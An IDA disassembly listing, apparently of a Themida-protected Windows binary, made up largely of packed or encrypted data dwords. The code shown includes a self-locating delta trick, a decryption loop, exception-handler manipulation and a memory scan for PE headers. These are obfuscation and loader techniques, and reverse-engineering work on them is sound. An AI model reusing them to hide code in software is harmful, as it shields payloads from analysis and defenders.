		dd 8DFF0000h, 9809h, 2 dup(0)
		dd 0AC5E0000h, 77E7h, 0DC0D0000h, 0FFA7h, 6 dup(0)
		dd 8D8D0000h, 9809h, 0Ah dup(0)
		dd 76C0000h, 0
		dd 95520000h, 304Ch, 0
		dd 0AB490000h, 10Ah, 2 dup(0)
		dd 80A30000h, 0CDA6h, 8	dup(0)
		dd 0C4860000h, 0DAD177E7h, 30DFFB0Ch, 0A9C5h, 2	dup(0)
		dd 0D11E0000h, 59h, 189A0000h, 77DDh, 0
		dd 93930000h, 0A1h, 3 dup(0)
		dd 3040000h, 0FEF87FFEh, 12h, 2	dup(0)
		dd 0FFF80000h, 0FDBDh, 4 dup(0)
		dd 0CA480000h, 54h, 0
		dd 7AB10000h, 3268005Bh, 8B8200A2h, 77E7h, 41490000h, 0C2E95350h
		dd 6 dup(0)
		dd 0EB8E0000h, 7EEEh, 8	dup(0)
		dd 44580000h, 9721h, 2 dup(0)
		dd 9C0000h, 5 dup(0)
		dd 0B8700000h, 70C6h, 2	dup(0)
		dd 38D0000h, 0FFFFh, 2 dup(0)
		dd 230000h, 58h, 3 dup(0)
		dd 0C4210000h, 58h, 0
		dd 3040000h, 1B407FFEh,	76B4h, 180B0000h, 383277F5h, 57h
		dd 5 dup(0)
		dd 0B55F0000h, 5Bh, 3 dup(0)
		dd 46280000h, 14h, 2 dup(0)
		dd 0CF690000h, 3B3A005Bh, 57h, 0
		dd 0DEB30000h, 79E1h, 30DF0000h, 0A9C5h, 3 dup(0)
		dd 0C4210000h, 58h, 5 dup(0)
		dd 81760000h, 59h, 6CE10000h, 809Fh, 5 dup(0)
		dd 0F7C00000h, 59h, 8 dup(0)
		dd 8C0000h, 2 dup(0)
		dd 0FCFC0000h, 35B8001h, 59h, 0
		dd 0FFB00000h, 241h, 2 dup(0)
		dd 93000000h, 1F0h, 0
		dd 47070000h, 1017h, 0
		dd 0EBB30000h, 77F7h, 0CEDE0000h, 59h, 2 dup(0)
		dd 8A3F0000h, 0FFFFh, 0Ch dup(0)
		dd 0FEF80000h, 12h, 2 dup(0)
		dd 0C0860000h, 2C6Dh, 0A00F0000h, 0A1h,	0
		dd 900000h, 4 dup(0)
		dd 6A140000h, 0
		dd 77F5h, 4 dup(0)
		dd 0E30A0000h, 0AFh, 19h dup(0)
		dd 8020000h, 0E0004809h, 0Dh, 0
		dd 3E680000h, 77E8h, 3 dup(0)
		dd 6A4C0000h, 5Ah, 2 dup(0)
		dd 19FB0000h, 2CA1516Fh, 0
		dd 6A140000h, 0
		dd 0F9F40000h, 521h, 4 dup(0)
		dd 0F1930000h, 1111005Bh, 1111h, 4 dup(0)
		dd 0CF38025Dh, 5Bh, 5 dup(0)
		dd 9EF00000h, 0F608h, 3	dup(0)
		dd 0FFB00000h, 0B1680241h, 230000A0h, 3E69h, 3 dup(0)
		dd 0BB510000h, 6320FFA7h, 4 dup(0)
		dd 230000h, 5Ch, 0C7850000h, 77E7h, 2 dup(0)
		dd 5BFC0000h, 4000005Ah, 0D11E0003h, 93930059h,	0A1h, 0
		dd 0C40000h, 320E0000h,	58h, 8 dup(0)
		dd 50000h, 3 dup(0)
		dd 383D0000h, 57h, 2 dup(0)
		dd 951D0000h, 58h, 7C0000h, 0
		dd 77320000h, 80Bh, 6 dup(0)
		dd 6BD70000h, 24Ah, 5 dup(0)
		dd 0AFh, 230000h, 0B1CA0058h, 0AFh, 8 dup(0)
		dd 9AFC0000h, 0FFFFh, 71440000h, 0CB1F0000h, 75E20054h
		dd 42ACFFA6h, 62F5389Ch, 0F5A77F5Ch, 59h, 9 dup(0)
		dd 1E6C0000h, 1313h, 3 dup(0)
		dd 529A0000h, 9EC5h, 2 dup(0)
		dd 15640000h, 2400A2h, 4 dup(0)
		dd 915B0000h, 0A1h, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54BCAE:				; CODE XREF: start:loc_5486D9j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61235DFh
		mov	[ebp+6120969h],	edx
		mov	[ebp+6123141h],	esi
		mov	[ebp+6122E89h],	eax
		cmp	dword ptr [ebp+6122459h], 0
		jz	short loc_54BCE6
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54BCE6:				; CODE XREF: start+6ACC4j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6120245h],	eax
		push	45h
		call	sub_54BD9A
		push	783749Ah
		call	sub_54BDE0
		push	0A894B25h
		call	sub_54BDE0
		jmp	loc_54BF24
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54BD9A	proc near		; CODE XREF: start+6ACDEp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61236CDh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54BDB6:				; CODE XREF: sub_54BD9A+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54BDD5
		mov	eax, [ebp+arg_0]
		mov	[ebx+6123637h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54BDB6
; ---------------------------------------------------------------------------


loc_54BDD5:				; CODE XREF: sub_54BD9A+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54BD9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54BDE0	proc near		; CODE XREF: start+6ACE8p start+6ACF2p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6123716h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54BE06:				; CODE XREF: sub_54BDE0+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54BE06
		mov	[ebp+var_84], 0
		lea	edi, [edx+6123637h]
		lea	esi, [ebp+var_80]


loc_54BE36:				; CODE XREF: sub_54BDE0+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54BE42:				; CODE XREF: sub_54BDE0+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54BE42
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54BE36
		popa
		leave
		retn	4
sub_54BDE0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54BE80
; ---------------------------------------------------------------------------


loc_54BE7C:				; CODE XREF: Themida_:0054BE83j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54BE80:				; CODE XREF: Themida_:0054BE7Aj
		cmp	byte ptr [esi],	0
		jnz	short loc_54BE7C
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54BF11
; ---------------------------------------------------------------------------


loc_54BE92:				; CODE XREF: Themida_:0054BF14j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54BF08
; ---------------------------------------------------------------------------


loc_54BE9B:				; CODE XREF: Themida_:0054BF0Cj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54BEF5
; ---------------------------------------------------------------------------


loc_54BEAB:				; CODE XREF: Themida_:0054BEF9j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54BECD
		cmp	bl, 39h
		ja	short loc_54BECD
		sub	bl, 30h
		jmp	short loc_54BEEF
; ---------------------------------------------------------------------------


loc_54BECD:				; CODE XREF: Themida_:0054BEC1j
					; Themida_:0054BEC6j
		cmp	bl, 61h
		jb	short loc_54BEDF
		cmp	bl, 66h
		ja	short loc_54BEDF
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54BEEF
; ---------------------------------------------------------------------------


loc_54BEDF:				; CODE XREF: Themida_:0054BED0j
					; Themida_:0054BED5j
		cmp	bl, 41h
		jb	short loc_54BEEF
		cmp	bl, 46h
		ja	short loc_54BEEF
		sub	bl, 41h
		add	bl, 0Ah


loc_54BEEF:				; CODE XREF: Themida_:0054BECBj
					; Themida_:0054BEDDj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54BEF5:				; CODE XREF: Themida_:0054BEA9j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54BEAB
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54BF05
		mov	eax, [ebp-10h]
		stosb


loc_54BF05:				; CODE XREF: Themida_:0054BEFFj
		inc	dword ptr [ebp-8]


loc_54BF08:				; CODE XREF: Themida_:0054BE99j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54BE9B
		add	edx, 4


loc_54BF11:				; CODE XREF: Themida_:0054BE90j
		cmp	edx, [ebp-4]
		jb	loc_54BE92
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54BF24:				; CODE XREF: start+6ACF7j
		mov	ecx, 7000h
		lea	edi, [ebp+612385Ch]


loc_54BF2F:				; CODE XREF: start+6AF1Fj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54BF2F
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+612394Dh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		xor	bh, 0D3h
		sub	eax, edx
		sbb	bx, 2A5h
		and	eax, 0FFFFF000h
		call	near ptr loc_54BF86+1
		mov	ecx, 2FB300D7h
		in	eax, dx
		bound	esp, [edi+2Ch]
		repne cdq
		das
		rep add	eax, 2C61A7D5h


loc_54BF86:				; CODE XREF: start+6AF5Bp
		db	64h
		call	sub_54BF94
		add	dh, [ebx]
		inc	ebx
		add	eax, 7C795DE5h
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54BF94	proc near		; CODE XREF: start:loc_54BF86p
		adc	bh, 0A6h
		pop	ebx
		pop	ebx
		mov	ecx, edx
		xor	edi, edi


loc_54BF9D:				; CODE XREF: sub_54BF94+24j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54BFB2
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54BFBA


loc_54BFB2:				; CODE XREF: sub_54BF94+Ej
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54BF9D
; ---------------------------------------------------------------------------


loc_54BFBA:				; CODE XREF: sub_54BF94+1Cj
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+6123960h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54BFF4
		mov	esi, [eax+1Ch]


loc_54BFF4:				; CODE XREF: sub_54BF94+5Bj
		xor	eax, eax


loc_54BFF6:				; CODE XREF: sub_54BF94+75j
		cmp	eax, 32h
		jz	short loc_54C01A
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54C00B


loc_54C002:				; CODE XREF: sub_54BF94+84j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54BFF6
; ---------------------------------------------------------------------------


loc_54C00B:				; CODE XREF: sub_54BF94+6Cj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54C05C
		jmp	short loc_54C002
; ---------------------------------------------------------------------------


loc_54C01A:				; CODE XREF: sub_54BF94+65j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
		dd 6BED815Dh, 8D061239h, 12392985h, 0B8818906h,	5D000000h
		dd 0C3C03359h
; ---------------------------------------------------------------------------


loc_54C05C:				; CODE XREF: sub_54BF94+82j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bx, di
		mov	cx, ds
		mov	bl, 65h
		and	cl, 4
		push	0
		push	esi
		call	sub_54C07D
		and	[esi-3Dh], bl
sub_54BF94	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_54C07D	proc near		; CODE XREF: sub_54BF94+E1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_54C07D	endp

; ---------------------------------------------------------------------------
aS_5		db 'ÉÔè',0Ah,0
		align 4
		dd 0C6234100h, 95C29E97h, 9E9A655h, 51000000h, 637899A5h
		dd 97B4FE04h, 0FC90A5Bh, 4985h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 53575014h
		dd 35AB9B73h, 5810Fh, 81660000h, 0FC5044C3h, 1FE985C7h
		dd 10612h, 66600000h, 0E961D78Bh, 1Bh, 0DE13D381h, 85C7445Ah
		dd 6121FE9h, 0
		dd 58C0Fh, 87BB0000h, 8948BF79h, 122E1985h, 3CDF8006h
		dd 2E698589h, 6E80612h,	84000000h, 0E8DE6406h, 0C860FBBh
		dd 0F000000h, 68Bh, 0B5E88100h,	5E760B6Bh, 5E9h, 0FC81C800h
		dd 0C6818654h, 68DBh, 0BE8h, 5A34C400h,	6744198Bh, 0A7E0A52Eh
		dd 0FE8h, 0A2100A00h, 40A9F794h, 319C793Dh, 5C48BEC9h
		dd 0DE9h, 65169D00h, 7C5A27BFh,	99E57994h, 585A0838h, 19FBBBh
		dd 0C2B70F00h, 0C68B0E8Bh, 587CC181h, 880F6E93h, 2, 0E981E78Ah
		dd 13D9301Dh, 99C7BA66h, 0A1D1F181h, 0F576D14h,	68Bh, 890F00h
		dd 5A000000h, 81660E89h, 83AB2DE7h, 10E803EEh, 0E8000000h
		dd 915C0A3Eh, 0A9D80266h, 7E8C66B3h, 57C697BEh,	4E5F5AF5h
		dd 11850F4Bh, 0F000000h, 27E9C3BFh, 7E000000h, 281E1B76h
		dd 0A7459D31h, 23ECDA81h, 89E96AB3h, 9FFFFFFh, 0CC2AD2FBh
		dd 4EABFEE5h, 6C03F3ADh, 46BDDD56h, 4EB5F6Ah, 215h, 75CE9h
		dd 5E900h, 62160000h, 602FFC02h, 0E9C02BF5h, 14h, 86170525h
		dd 2845F40Bh, 4E6ADF1Eh, 88B867BEh, 0A19FAA3Eh,	0BE9h
		dd 64444800h, 66B6BA34h, 222E5AE9h, 2824548Bh, 12E18509h
		dd 85890612h, 6120095h,	2EFD9D89h, 3CBE0612h, 60000000h
		dd 9E8h, 0A398D400h, 0BCE695FDh, 5E92DC8h, 0F3000000h
		dd 423FB884h, 52DF815Ah, 6120CD17h, 24247403h, 18D2960h
		dd 0E9061230h, 0Bh, 0A60C207Eh,	7117E6FEh, 617E265Ah, 1CA58589h
		dd 0AD660612h, 2439B589h, 44030612h, 0BE92424h,	84000000h
		dd 3512C25Dh, 72F01BC0h, 6050D3E6h, 6B7574BEh, 6108B111h
		dd 0E9240489h, 6, 0BD8D6F44h, 408B3036h, 0DDB50978h, 3061209h
		dd 0E9282444h, 0Fh, 0D25DD467h,	1C018A8Ch, 59CD984Eh, 8B1AA3FFh
		dd 9D011840h, 61226D5h,	5850140h, 8906122Bh, 123B4385h
		dd 13E906h, 324F0000h, 0D0E92C54h, 42497C45h, 0AC39B4F8h
		dd 0FFE26C2Fh, 1840FB2h, 0F5000000h, 12E958h, 8E520000h
		dd 3363B50Dh, 0E5847EB2h, 0FDD74CE6h, 9EB293A1h, 0F978708Bh
		dd 1CC683F8h, 11AD8D89h, 74030612h, 0F602424h, 82h, 83BA6600h
		dd 0BD8D6179h, 6120FA1h, 5E860h, 70110000h, 0FB55AA6h
		dd 2958F7B7h, 122BA1B5h, 60AD6106h, 318589F9h, 6106121Ah
		dd 24244403h, 0CE9h, 0ABD3900h,	16D1A519h, 0CE5C9941h
		dd 0B529AB8Fh, 6123405h, 12F5BD8Dh, 0EE90612h, 70000000h
		dd 0FE3488FEh, 94C55664h, 860D9980h, 840FADC1h,	1Dh, 17810Fh
		dd 12E90000h, 44000000h, 0D4E2EB4Bh, 3BC7B42Eh,	5EB7F26Ah
		dd 0FEA4954Bh, 418D8954h, 3061230h, 60242444h, 8D89F08Bh
		dd 6120B49h, 52509061h,	0CE960h, 7EC30000h, 175A382Bh
		dd 621C75h, 0BF664314h,	0F610933h, 0AE86031h, 0FC000000h
		dd 3AD4DEF8h, 10D3E718h, 890F5E75h, 0
		dd 50585A61h, 0FA8B6660h, 0CE8h, 15EFA500h, 7254988Fh
		dd 0C75DD342h, 5F5B578Ah, 13E99061h, 8F000000h,	0E7FC7A7Bh
		dd 675A107h, 0BB4F5D4Bh, 79B14D43h, 89AB0E98h, 1232AD8Dh
		dd 919D8906h, 8D061208h, 121271BDh, 0BA666006h,	9D8B7602h
		dd 61225D9h, 8529AD61h,	6121741h, 0FB8B6660h, 24440361h
		dd 759D0128h, 0AB061216h, 0C840Fh, 880F0000h, 6, 1B098D29h
		dd 0F5E0612h, 68Dh, 69B50900h, 0FF06121Ah, 123B438Dh, 43BD8306h
		dd 6123Bh, 44C71075h, 1C24h, 0B58D0000h, 6124019h, 0AD56E6FFh
		dd 28244403h, 8ADF8B97h, 12025985h, 74C08406h, 75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 9585FF04h, 0E9061200h, 0FFFFFF6Fh, 0F60F95Eh, 0E961DFB7h
		dd 14h,	0D5BAED77h, 0E7EB0E66h,	0AA05E64Ch, 0DFBB4B74h
		dd 4EFC1321h, 95858Bh, 95890612h, 6121351h, 9D89E0D1h
		dd 6122BDDh, 18B0Fh, 3F50000h, 12127185h, 399D8906h, 2B061224h
		dd 0E996F5F6h, 14h, 806051E9h, 0A50460F5h, 35EFFDEh, 0E235E4A9h
		dd 20D2E9AEh, 26DDBD89h, 0AD660612h, 0E698D29h,	0E0C10612h
		dd 6660F502h, 0AE9DA8Bh, 47000000h, 1C2337C4h, 0A86B1790h
		dd 850361C6h, 6120FA1h,	0FE860h, 28870000h, 0CD60C30h
		dd 0D0E3AEBCh, 80FE38BFh, 71B589E3h, 5A061219h,	0BE99661h
		dd 58000000h, 0B9E9375Ah, 7BF01AB8h, 0F8AD7925h, 24244C8Bh
		dd 0BE9h, 1BCB8500h, 9BADA61Dh,	7BA9D0DDh, 24244403h, 217D8589h
		dd 44890612h, 8D891C24h, 6121B1Dh, 89ACF896h, 1221F9BDh
		dd 0FC93206h, 685h, 0E18D2900h,	0FE06122Eh, 0D0D0FCC1h
		dd 8C830Fh, 880F0000h, 6, 1B959D09h, 0D0D00612h, 78830Fh
		dd 0BD890000h, 6122B05h, 0FD0D0F8h, 6982h, 0D0D0F900h
		dd 60820Fh, 0EE90000h, 0B3000000h, 5D6D2316h, 0A04D0071h
		dd 0C1CBBB17h, 0FC9FE05h, 0FFFFB189h, 0C483FCFFh, 0BD852920h
		dd 0C706122Eh, 0FC2444h, 31000000h, 12007DB5h, 1B806h
		dd 850F0000h, 17h, 0F1958960h, 0E9061219h, 0Ah,	84A84972h
		dd 0CC4470DFh, 8D617CFFh, 1273178Dh, 0E1FFF806h, 85C6F8F8h
		dd 6120259h, 11E900h, 0EEA60000h, 9310C13Ch, 4074A9F3h
		dd 0E4351E5Eh, 61385BF1h, 9E9h,	0D5F41B00h, 96CEC5B0h
		dd 8C2C966h, 6E900h, 0DB830000h, 0D1D316A3h, 138E0F96h
		dd 60000000h, 0E8F78B66h, 8, 3A0AE4B8h,	5D1912FEh, 5050615Bh
		dd 14E952h, 9AF20000h, 9675B1F1h, 11EAEB13h, 61B8C65Ah
		dd 6BBFF95Fh, 310FD7D0h, 0BE9h,	5BED1E00h, 184B2334h, 11AFF02Eh
		dd 8996585Ah, 12062185h, 64B58906h, 0F061242h, 0B8Ah, 81666000h
		dd 66015CE8h, 61B4E1B8h, 42898D89h, 8D0F0612h, 1Eh, 11E960h
		dd 300000h, 0DDA731D2h,	6EC1F284h, 92FF0277h, 89ABD99Fh
		dd 12304995h, 0B58D6106h, 6124134h, 2761BD89h, 858D0612h
		dd 5B8EA1h, 11E9h, 0D6E57400h, 292D26ABh, 4E6894ADh, 0F4FF140Ch
		dd 0D0FFC999h, 15F59501h, 295E0612h, 12118595h,	0E960C306h
		dd 0Ah,	105F4246h, 0C0504761h, 85299D6Ch, 6122391h, 64B58B61h
		dd 60061242h, 0E9F38B66h, 0Eh, 32F83074h, 0B0B28557h, 1FC6DBB8h
		dd 8B613F9Ch, 1242898Dh, 0C88B6006h, 23D58589h,	2B610612h
		dd 11E9C0h, 0FA720000h,	0F9DB615Ch, 0DE08B43h, 3689C167h
		dd 8BF90E64h, 6840FD9h,	89000000h, 120E35B5h, 0A9E906h
		dd 32F50000h, 0E8D0F26h, 0E9000000h, 9,	0A5B9AC83h, 47231031h
		dd 8902B2F2h, 1226B9B5h, 57E906h, 9D090000h, 6122F8Dh
		dd 5FCC232h, 8A751D7Ah,	7D9D8B60h, 89061204h, 1212F9BDh
		dd 0CC8A6106h, 89C8D3F5h, 12126995h, 0BE906h, 54490000h
		dd 382E90FDh, 0F1C1FFC7h, 842350Eh, 820F98D1h, 7, 1840Fh
		dd 0FEF90000h, 6800FCAh, 89000000h, 12020D95h, 0FD20A06h
		dd 0FFFFA785h, 499529FFh, 4B06121Bh, 6698589h, 60460612h
		dd 0EE9h, 2550D200h, 0D6C8BFA0h, 6AE328D0h, 0F64FAEAh
		dd 0B61F8BFh, 50850FDBh, 0F5FFFFFFh, 8B6660CFh,	58B0FC1h
		dd 66000000h, 65C2D381h, 0FE961h, 6CB0000h, 92383331h
		dd 933F8FF2h, 0DBCC130h, 0E900008Bh, 6,	2A3F103Dh, 86B7h
		dd 5E9h, 5732F800h, 820FB285h, 6, 96D9D01h, 612h, 859B501h
		dd 612h, 10E9h,	9D2C800h, 6A2910D7h, 77A9B468h,	41D7B057h
		dd 56858D48h, 0F906123Bh, 7918589h, 85290612h, 612058Dh
		dd 4053858Dh, 0B5890612h, 6122571h, 0A29B589h, 85890612h
		dd 61215DDh, 10E8h, 3B888B00h, 70BE41B5h, 220CDC6Dh, 7766EC69h
		dd 0E9B58B8Ah, 59061231h, 0CE9h, 0A4DEC800h, 58841389h
		dd 90277518h, 0D7C181C8h, 8900005Eh, 12201585h,	1055BB06h
		dd 0F3815D07h, 5D0707C4h, 2FB1858Bh, 118B0612h,	30698D89h
		dd 0C2810612h, 46257B63h, 2E1DBD8Bh, 0EA810612h, 1DA91193h
		dd 81FB8B66h, 6EC6D4C2h, 0C68B6666h, 880F1189h,	0Ch, 6820Fh
		dd 0B50B0000h, 61210D1h, 8CACE981h, 0C18172EFh,	72EF8CA8h
		dd 0F01EB83h, 0FFFFB185h, 0ADE880FFh, 14EBh, 3 dup(0)
		dd 850000h, 858D0000h, 6124446h, 35518589h, 0BD830612h
		dd 612437Dh, 2C840F00h,	0C6000001h, 12025985h, 4E85606h
		dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
		dd 122E19B5h, 56858D06h, 0FF06123Bh, 718589D0h,	0C6061243h
		dd 12025985h, 0C6685606h, 819C3AC4h, 7C942434h,	0B5FF0092h
		dd 6122E19h, 3B56858Dh,	0D0FF0612h, 43758589h, 46A0612h
		dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h,	81858B58h
		dd 5061243h, 1F4h, 5002E0C1h, 6A240489h, 7595FF00h, 89061243h
		dd 12437985h, 0B8D88B06h, 0FFFFFFFFh, 355195FFh, 0C38B0612h
		dd 355195FFh, 84E90612h, 83000000h, 12437DBDh, 850F0006h
		dd 1, 0BD8B57C3h, 6124379h, 798583ABh, 4061243h, 0BD83C35Fh
		dd 612437Dh, 1850F00h, 0C3000000h, 79AD8360h, 4061243h
		dd 43799D8Bh, 7B830612h, 850FFFFCh, 1Dh, 0DE5B6068h, 240481D7h
		dd 282224A0h, 33FF006Ah, 437195FFh, 0C3610612h,	1DE9h
		dd 7F836800h, 348174F5h, 0F5FF8324h, 0FF006A74h, 7195FF33h
		dd 83061243h, 124379ADh, 0B1E90406h, 48FFFFFFh,	1ADE9h
		dd 748B6000h, 7C8B2424h, 0B2FC2824h, 46068A80h,	0BB470788h
		dd 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h
		dd 8A000000h, 0D2124616h, 6A830Fh, 0C0330000h, 850FD202h
		dd 5, 1246168Ah, 2A830FD2h, 2000001h, 5850FD2h,	8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h, 5
		dd 1246168Ah, 0FC013D2h, 684h, 0F82B5700h, 885F078Ah, 2BB4707h
		dd 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h, 585h, 46168A00h
		dd 0C013D212h, 850FD202h, 5, 1246168Ah,	0DE820FD2h, 2BFFFFFFh
		dd 1BBC3h, 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h
		dd 0C913D212h, 850FD202h, 5, 1246168Ah,	0DE820FD2h, 56FFFFFFh
		dd 0F52BF78Bh, 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah
		dd 1B9E8h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h,	0E9000009h
		dd 9D3h, 5B5FBFCFh, 0C432ED7Ah,	3A460DB6h, 0B15027E5h
		dd 979781AAh, 0EA5018DCh, 0FB334321h, 919F8CB1h, 565F9992h
		dd 0CC3EAF71h, 69141AA4h, 0F45735F4h, 0F4F8CAA5h, 0FE5A12ACh
		dd 0A93F423Ch, 979D8CB1h, 565F9A9Dh, 0D121AF6Bh, 771405BEh
		dd 0E34C2BE8h, 9793C4B1h, 0FA4D5E98h, 0FB72533Ch, 9788C2B0h
		dd 4F5F8C89h, 0D120E06Dh, 1A05B0h, 63h dup(0)
		dd 525FBFCFh, 0D72EE170h, 6A141ABEh, 0E34429FFh, 91D289A9h
		dd 0FD1F0D9Dh, 0A97D422Ah, 96848DA2h, 4A0DDE98h, 0CD2EE171h
		dd 745D48B6h, 0E44C3FADh, 8081C4BAh, 0F25A0A8Fh, 0D91E2D61h
		dd 8B9087A8h, 4A5FD299h, 0C228E371h, 6E5D48B5h,	0FE5120ADh
		dd 9C9FC4A5h, 0E64D1191h, 0ED7D466Fh, 8B9490E4h, 4B0D9F88h
		dd 0D628F63Fh, 684448A3h, 0F05121E2h, 0CAA5h, 48h dup(0)
		dd 5C5FBFCFh, 0C824EE6Dh, 69131AB4h, 0FE4C32ADh, 989AC4A4h
		dd 0FA5D5E8Fh, 0EF33492Ah, 9C9F97ABh, 510A8CDCh, 0C429E671h
		dd 3A5A01F1h, 0E35629F4h, 8A8B97E8h, 0B1521B88h, 0E5432A45h
		dd 9D8283A1h, 510ADED0h, 0C726E073h, 3A4001F1h,	0FC4C34EBh
		dd 949789E8h, 0BF460C93h, 0A977492Eh, 8C8287B6h, 1F0B8C9Dh
